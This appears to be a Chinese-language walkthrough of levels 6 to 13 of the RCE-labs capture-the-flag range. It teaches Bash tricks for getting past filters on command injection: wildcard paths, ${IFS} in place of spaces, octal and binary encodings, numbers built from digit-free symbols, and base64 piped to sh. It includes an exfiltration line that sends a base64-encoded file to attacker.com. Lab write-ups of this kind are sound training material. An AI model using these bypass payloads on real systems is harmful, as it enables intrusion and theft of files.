当前位置: 首页 > news >正文

从Level6到Level13:手把手带你通关RCE-labs靶场,掌握那些不为人知的Bash绕过技巧

从Level6到Level13:手把手带你通关RCE-labs靶场,掌握那些不为人知的Bash绕过技巧

在Web安全领域,远程命令执行(RCE)始终是攻防对抗的核心战场。当传统注入手段遭遇现代WAF的层层拦截,那些隐藏在Bash深处的特性与技巧便成为突破防线的关键钥匙。本文将带你深入Level6到Level13的实战场景,系统梳理八种主流绕过技术,从通配符妙用到无字母命令执行的魔法,每个技巧都配有原理图解与实战验证。

1. 通配符的艺术:当字母成为禁忌

在Level6的战场上,我们遭遇了史上最严苛的字符黑名单——几乎所有字母和常见符号都被封杀。但仔细观察过滤规则,会发现数字和问号(?)仍可自由使用。这正是通配符大显身手的时刻:

/???/?a? /??a?

这个看似神秘的字符串实际等效于/bin/cat /flag。其核心原理在于:

  • ?匹配任意单个字符
  • *匹配任意长度字符(但本例中未使用)
  • /???/匹配/bin/目录(四个字符)
  • ?a?匹配cat命令(三个字符中第二字母为a)

常见通配符组合对照表

通配符模式实际匹配目标适用场景
/???/??/bin/ls目录遍历
/???/?a?/bin/cat文件读取
/?sr/?ar/usr/var路径构造

提示:在实战中可先用/???/ls确认目录结构,再针对性构造读取命令

2. 空格的七十二变:IFS与重定向的魔法

Level7展示了空格过滤的经典场景。当WAF拦截空格字符时,我们有三种主流替代方案:

  1. TAB键URL编码%09(最易用)
  2. IFS变量引用${IFS}(最隐蔽)
  3. 重定向符号<<<<(最有趣)
# 三种等效payload示例 cat%09/flag cat${IFS}/flag cat</flag

原理深挖:Bash中IFS(Internal Field Separator)变量默认为空格、制表符和换行符。通过变量替换,我们实现了"看不见的空格"。而重定向技巧则是利用文件描述符的隐式空格特性。

3. 重定向截断:与WAF玩时间差

Level8引入了输出重定向防御机制——所有命令输出都被丢弃到/dev/null。破解这个困局需要理解两个关键点:

  1. 命令分隔符优先级:分号;的解析早于重定向
  2. 临时文件桥接:将输出重定向到可控文件
# 方法一:分号截断(立即执行) ?cmd=cat /flag; # 方法二:文件桥接(分步操作) ?cmd=cat /flag > /tmp/leak curl http://attacker.com/steal?data=$(base64 /tmp/leak)

注意:方法二需要目标服务器具有出网权限,在CTF中通常采用第一种方案

4. 八进制逃逸:Bash的密码学

从Level9开始,我们进入无字母命令执行的奇幻世界。八进制转义是首当其冲的技巧:

$'\143\141\164' $'\57\146\154\141\147' # 等效 cat /flag

转换原理

  1. $'\xxx'语法将八进制转换为ASCII字符
  2. 空格必须独立转义(八进制40)
  3. 使用Python可快速生成payload:
print(''.join(f'$\\{oct(ord(c))[2:]}' for c in 'cat /flag'))

常用命令八进制对照

命令八进制编码
ls\154\163
sh\163\150
whoami\167\150\157\141\155\151

5. 二进制构造术:0与1的华尔兹

Level10将限制升级到极致——仅允许0、1和少数符号。此时需要运用Bash的二进制整数解析特性:

$((2#1100011)) # 99 → 'c' $((2#1100001)) # 97 → 'a' $((2#1110100)) # 116 → 't'

组合起来就是cat的二进制表达。实战中更高效的方案是:

# 使用<<< heredoc简化构造 $0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\'

技巧:$((n#value))表示n进制转换,1<<1得到2即二进制基数

6. 数字1的变形记:符号的极限替代

Level11封杀了所有数字,但通过${##}可以巧妙生成数字1:

${##} # 空参数长度 → 0 $((${##} + ${##})) # 0+0 → 0 $((${##} << ${##})) # 0左移0位 → 1

由此构建的二进制生成器:

$(($((${##}<<${##}))#${##}000${##}${##}${##}${##})) # 2#10000 → 16

特殊变量替代方案

原始数字替代方案
0${##}
1$((${##}<<${##}))
2$(($((${##}<<${##}))+$((${##}<<${##}))))

7. 取反魔术:从零构造全数字宇宙

Level13展示了最精妙的数学绕过——通过取反运算构造任意数字:

$(()) # 0 $((~$(()))) # -1 (按位取反) $((~$(($((~$(()))) $((~$(()))))))) # -(-1 + -1) → 2

构造原理

  1. $((~0))得到-1(补码表示)
  2. 通过加减法组合可得到任意整数
  3. 结合八进制转换最终执行命令
# 构造数字42的取反表达式 __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))$((~$(())))))))\'

8. 组合技实战:多维度绕过WAF

真实攻防中往往需要组合多种技巧。以下是典型场景的解决方案:

场景:过滤了字母、数字、空格、${
方案

# 使用base64编码+管道解码 echo${IFS}Y2F0IC9mbGFn|base64${IFS}-d|sh

防御对策

  1. 限制命令执行函数的调用
  2. 白名单校验输入内容
  3. 禁用危险字符的多种编码形式
  4. 监控异常进程创建行为

在通关过程中,建议维护自己的绕过技术矩阵表,记录每个技巧的:

  • 核心原理
  • 适用场景
  • 防御方案
  • 变体组合

当你能游刃有余地在这些限制条件下完成命令执行时,不仅对Bash的理解会达到新高度,在实战中的突破能力也将大幅提升。记住,最好的学习方式就是亲手复现每个案例,并尝试创造自己的绕过变体。

http://www.cnnetsun.cn/news/1842945.html

相关文章:

  • 开源工具Nucleus Co-Op:如何让单人游戏秒变4人同屏?
  • 如何快速解决网易云音乐格式限制:ncmdump完整使用指南
  • 后端服务架构演进从单体到微服务的转型之路
  • 一键构建25000+ASMR音频库:asmr-downloader高效下载与管理指南
  • Qwen2.5-7B本地化教程:防爆显存优化,让对话更稳定流畅
  • Vue ——深入Vue 3源码级别:企业级业务系统响应式优化与状态管理完全指南
  • ComfyUI-VideoHelperSuite 技术架构深度解析与高级应用指南
  • 3分钟掌握:零代码TikTok评论采集终极指南
  • 5分钟快速搞定:Axure RP中文语言包终极使用指南
  • 完全免费!跨平台开源音乐播放器LX Music桌面版终极使用指南
  • Phi-3-Mini-128K与数据处理:替代VLOOKUP的智能表格信息匹配与填充
  • 直流有刷电机驱动实战:从H桥到保护电路的全栈解析
  • Intv_AI_MK11助力C++后端开发:从环境搭建到微服务架构设计
  • 科研入门利器:LetPub与Web of Science高效文献检索与期刊评估实战
  • 5分钟快速上手LocalVocal:OBS实时字幕工具的终极指南
  • 深入解析DSR协议:Ad hoc网络中按需路由的动态源路由机制
  • 终极指南:如何通过OpenCore在PC上安装macOS的完整解决方案
  • 深入TMS320F28P550SJ9的LIN模块:手把手教你用结构体操作BRSR等关键寄存器
  • 分类任务避坑指南:交叉熵损失(CE)和负对数似然(NLL)到底怎么选?附TensorFlow/Keras示例
  • 番茄小说下载器终极指南:三步快速实现免费高效离线阅读
  • 从零到一:Amesim与Simulink联合仿真环境搭建的避坑指南与实践验证
  • 甲骨文创始人拉里·埃里森的5个疯狂商业决策:从2000美元到千亿帝国的秘密
  • 3分钟解锁QQ音乐加密格式:终极QMC解密转换完整指南
  • GTE-Base-ZH Agent智能体开发:让AI理解工具描述并自主调用
  • 利用vLLM-v0.17.1构建AI Agent:自主任务规划与执行框架
  • 体验未来操作系统:Windows 12网页版完全指南
  • 从零到一:Sunshine如何让你在平板上玩转PC大作?
  • Python装饰器进阶:让函数功能无限扩展的魔法
  • Anything-v5+Leather-Dress-Collection实战:像素时装锻造坊GPU双卡加速教程
  • AICoverGen:用AI解锁音乐创作的无限可能性